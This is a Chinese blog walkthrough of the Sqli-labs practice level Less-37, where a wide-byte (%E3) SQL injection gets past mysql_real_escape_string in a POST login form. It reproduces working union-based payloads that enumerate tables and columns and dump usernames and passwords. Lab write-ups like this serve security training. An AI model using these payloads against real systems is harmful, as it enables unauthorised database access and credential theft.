Sqli-labs之Less-37

                                               Less-37

POST型 - 绕过 MYSQL_real_escape_string

本关与 34 关是大致相似的,区别在于处理 post 内容用的是 mysql_real_escape_string()
函数,而不是 addslashes()函数,但是原理是一直的,

查看源码,得知只是本关只是将Less-34过滤函数进行了替换: mysql_real_escape_string(),我们可以直接按照34关的方法即可

1.万能密码注入:

发现和36关一样的问题:

别人都成功了:

利用burpsuite试试:

也不可以,真高级能转义一个字节,搞不明白,这个函数就没这功能,别人都可以成功

而且还能这样:(真是牛批,两个反斜杠不是转义自身吗?这都不能成功,服了)(猜测造成这样的结果应该与我搭建的服务器有关,以后解决。。)

 

这里展示别人成功的例子:

暴位置

 uname=-admin%E3' union select 1,2 --+&passwd=admin&submit=Submit

 

 

 

暴表

uname=-admin%E3' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+&passwd=admin&submit=Submit

 

 

 

暴字段

uname=-admin%E3' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+&passwd=admin&submit=Submit

 

 

 

暴值

uname=-admin%E3' union select 1,group_concat(username,0x3a,password) from users --+&passwd=admin&submit=Submit

 

至此,Page-2 (Advanced Injections)的过滤绕过部分已经完成。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值